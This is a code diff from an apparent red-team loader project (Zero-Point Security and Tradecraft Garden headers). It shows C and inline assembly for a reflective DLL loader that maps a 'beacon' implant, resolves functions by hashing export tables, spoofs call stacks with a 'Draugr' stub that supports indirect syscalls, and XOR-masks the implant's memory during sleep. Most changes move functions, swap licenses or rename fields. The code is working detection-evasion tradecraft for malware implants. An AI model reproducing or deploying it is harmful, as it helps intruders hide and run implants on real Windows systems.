// Increment the counter and loop back in case we need more args
|
||||
// Increment the counter and loop back in case we need more args
|
||||
"add r11, 1;"
|
||||
"jmp looping;"
|
||||
"finish:;"
|
||||
@@ -74,7 +94,7 @@ void * __attribute__((naked)) SpoofStub()
|
||||
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
|
||||
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
|
||||
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// in param struct first.Otherwise, this is ignored by the callee.
|
||||
"mov r10, rcx;"
|
||||
"mov rax, [rdi + 72];"
|
||||
@@ -96,7 +116,7 @@ void * __attribute__((naked)) SpoofStub()
|
||||
"xor rax, rax;"
|
||||
"pop rax;"
|
||||
"jmp qword ptr [rcx + 8];"
|
||||
|
||||
|
||||
".att_syntax prefix"
|
||||
);
|
||||
}
|
||||
@@ -1,3 +1,31 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _DRAUGR_PARAMETERS {
|
||||
|
||||
@@ -1,108 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Walk the Export Address Table to resolve functions by hash
|
||||
*/
|
||||
|
||||
char * findModuleByHash(DWORD moduleHash) {
|
||||
_PEB * pPEB;
|
||||
LDR_DATA_TABLE_ENTRY * pEntry;
|
||||
char * name;
|
||||
DWORD hashValue;
|
||||
USHORT counter;
|
||||
|
||||
/* get the Process Enviroment Block */
|
||||
#if defined WIN_X64
|
||||
pPEB = (_PEB *)__readgsqword( 0x60 );
|
||||
#elif defined WIN_X86
|
||||
pPEB = (_PEB *)__readfsdword( 0x30 );
|
||||
#else
|
||||
#error "Neither WIN_X64 or WIN_X86 is defined"
|
||||
#endif
|
||||
|
||||
/* walk the module list */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
|
||||
|
||||
while (pEntry) {
|
||||
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
|
||||
We are walking and hashing this string, one byte at a time */
|
||||
name = (char *)pEntry->BaseDllName.pBuffer;
|
||||
counter = pEntry->BaseDllName.Length;
|
||||
|
||||
/* calculate the hash of our DLL name */
|
||||
hashValue = 0;
|
||||
do {
|
||||
hashValue = ror(hashValue);
|
||||
if (*name >= 'a')
|
||||
hashValue += (BYTE)*name - 0x20;
|
||||
else
|
||||
hashValue += (BYTE)*name;
|
||||
|
||||
name++;
|
||||
} while (--counter);
|
||||
|
||||
/* if we have a match, return it */
|
||||
if (hashValue == moduleHash)
|
||||
return pEntry->DllBase;
|
||||
|
||||
/* next entry */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction) {
|
||||
DLLDATA data;
|
||||
IMAGE_DATA_DIRECTORY * exportTableHdr;
|
||||
IMAGE_EXPORT_DIRECTORY * exportDir;
|
||||
DWORD * exportName;
|
||||
WORD * exportOrdinal;
|
||||
DWORD * exportAddress;
|
||||
DWORD hashValue;
|
||||
|
||||
/* parse our DLL! */
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* grab our export directory */
|
||||
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||||
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
|
||||
|
||||
/* walk the array of exported names/address ordinals */
|
||||
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
|
||||
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
|
||||
|
||||
while (TRUE) {
|
||||
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
|
||||
if (hashValue == wantedFunction) {
|
||||
/* figure out the base of our AddressOfFunctions array */
|
||||
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
|
||||
|
||||
/* increment it by the current value of our exportOrdinal array */
|
||||
exportAddress += *exportOrdinal;
|
||||
|
||||
/* and... there-in is our virtual address to the actual ptr we want */
|
||||
return PTR_OFFSET(src, *exportAddress);
|
||||
}
|
||||
|
||||
exportName++;
|
||||
exportOrdinal++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction);
|
||||
char * findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,41 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
ULONG_PTR functionPtr;
|
||||
ULONG_PTR argument1;
|
||||
ULONG_PTR argument2;
|
||||
ULONG_PTR argument3;
|
||||
ULONG_PTR argument4;
|
||||
ULONG_PTR argument5;
|
||||
ULONG_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args);
|
||||
@@ -1,18 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
int _strncmp(const char* s1, const char* s2, SIZE_T n)
|
||||
{
|
||||
while (n-- > 0)
|
||||
{
|
||||
unsigned char c1 = (unsigned char)*s1++;
|
||||
unsigned char c2 = (unsigned char)*s2++;
|
||||
|
||||
if (c1 != c2)
|
||||
return c1 - c2;
|
||||
|
||||
if (c1 == '\0')
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
+1
-1
@@ -4,7 +4,7 @@ author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst
|
||||
make pic +gofirst +optimize
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
mergelib "../libtp.x64.zip"
|
||||
|
||||
+71
-62
@@ -1,20 +1,29 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
@@ -31,7 +40,7 @@ void * g_ExitThread;
|
||||
char xorkey[128] = { 1 };
|
||||
|
||||
/* some globals */
|
||||
MEMORY_LAYOUT g_layout;
|
||||
MEMORY_LAYOUT g_layout;
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
@@ -597,6 +606,55 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
void applyxor(char * data, DWORD len)
|
||||
{
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask)
|
||||
{
|
||||
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
|
||||
DWORD oldProtect = 0;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
|
||||
section->currentProtect = PAGE_READWRITE;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
|
||||
if (isWriteable(section->currentProtect)) {
|
||||
applyxor(section->baseAddress, section->size);
|
||||
}
|
||||
|
||||
if (mask == FALSE && section->currentProtect != section->previousProtect) {
|
||||
DWORD oldProtect;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
|
||||
section->currentProtect = section->previousProtect;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask)
|
||||
{
|
||||
for (int i = 0; i < 5; i++) {
|
||||
xorsection(®ion->sections[i], mask);
|
||||
}
|
||||
}
|
||||
|
||||
void xormemory(BOOL mask) {
|
||||
xorregion(&g_layout.dll, mask);
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
#if DEBUG
|
||||
@@ -745,55 +803,6 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
return result;
|
||||
}
|
||||
|
||||
void applyxor(char * data, DWORD len)
|
||||
{
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask)
|
||||
{
|
||||
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
|
||||
DWORD oldProtect = 0;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
|
||||
section->currentProtect = PAGE_READWRITE;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
|
||||
if (isWriteable(section->currentProtect)) {
|
||||
applyxor(section->baseAddress, section->size);
|
||||
}
|
||||
|
||||
if (mask == FALSE && section->currentProtect != section->previousProtect) {
|
||||
DWORD oldProtect;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
|
||||
section->currentProtect = section->previousProtect;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask)
|
||||
{
|
||||
for (int i = 0; i < 5; i++) {
|
||||
xorsection(®ion->sections[i], mask);
|
||||
}
|
||||
}
|
||||
|
||||
void xormemory(BOOL mask) {
|
||||
xorregion(&g_layout.beacon, mask);
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
|
||||
@@ -115,11 +115,6 @@ typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void applyxor(char * data, DWORD len);
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask);
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask);
|
||||
void xormemory(BOOL mask);
|
||||
|
||||
void initFrameInfo()
|
||||
{
|
||||
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||
|
||||
+11
-21
@@ -67,16 +67,6 @@ typedef struct {
|
||||
WIN32_FUNC(CreateProcessA);
|
||||
} WIN32FUNCS;
|
||||
|
||||
typedef struct {
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[16384];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
char __DRAUGR__[0] __attribute__((section("draugr")));
|
||||
char __HOOKS__[0] __attribute__((section("hooks")));
|
||||
char __DLL__[0] __attribute__((section("dll")));
|
||||
@@ -183,10 +173,11 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
|
||||
|
||||
dprintf("HOOK DST: 0x%p\n", hookDst);
|
||||
|
||||
dprintf("data size %d\n", PicoDataSize(hookSrc));
|
||||
dprintf("code size %d\n", PicoCodeSize(hookSrc));
|
||||
#if DEBUG
|
||||
dprintf("hookDst : 0x%p\n", hookDst);
|
||||
dprintf("PicoDataSize : %d\n", PicoDataSize(hookSrc));
|
||||
dprintf("PicoCodeSize : %d\n", PicoCodeSize(hookSrc));
|
||||
#endif
|
||||
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
@@ -225,11 +216,11 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
LoadDLL(&beaconData, beaconSrc, beaconDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
|
||||
|
||||
layout->beacon.baseAddress = beaconDst;
|
||||
layout->beacon.size = SizeOfDLL(&beaconData);
|
||||
layout->dll.baseAddress = beaconDst;
|
||||
layout->dll.size = SizeOfDLL(&beaconData);
|
||||
|
||||
/* Fix section memory permissions */
|
||||
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->beacon);
|
||||
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->dll);
|
||||
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
@@ -238,8 +229,8 @@ void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
|
||||
|
||||
/* Call it twice */
|
||||
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
|
||||
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
|
||||
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
|
||||
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
|
||||
}
|
||||
|
||||
void go()
|
||||
@@ -282,8 +273,7 @@ void go()
|
||||
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
|
||||
|
||||
#if DEBUG
|
||||
PIC_STRING(dst, "PIC @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
|
||||
dprintf("picDst : 0x%p\n", picDst);
|
||||
#endif
|
||||
|
||||
/* Copy it into memory */
|
||||
|
||||
@@ -40,6 +40,16 @@ typedef struct {
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[12288];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
+1
-1
@@ -44,5 +44,5 @@ typedef struct {
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION beacon;
|
||||
MEMORY_REGION dll;
|
||||
} MEMORY_LAYOUT;
|
||||
Reference in New Issue
Block a user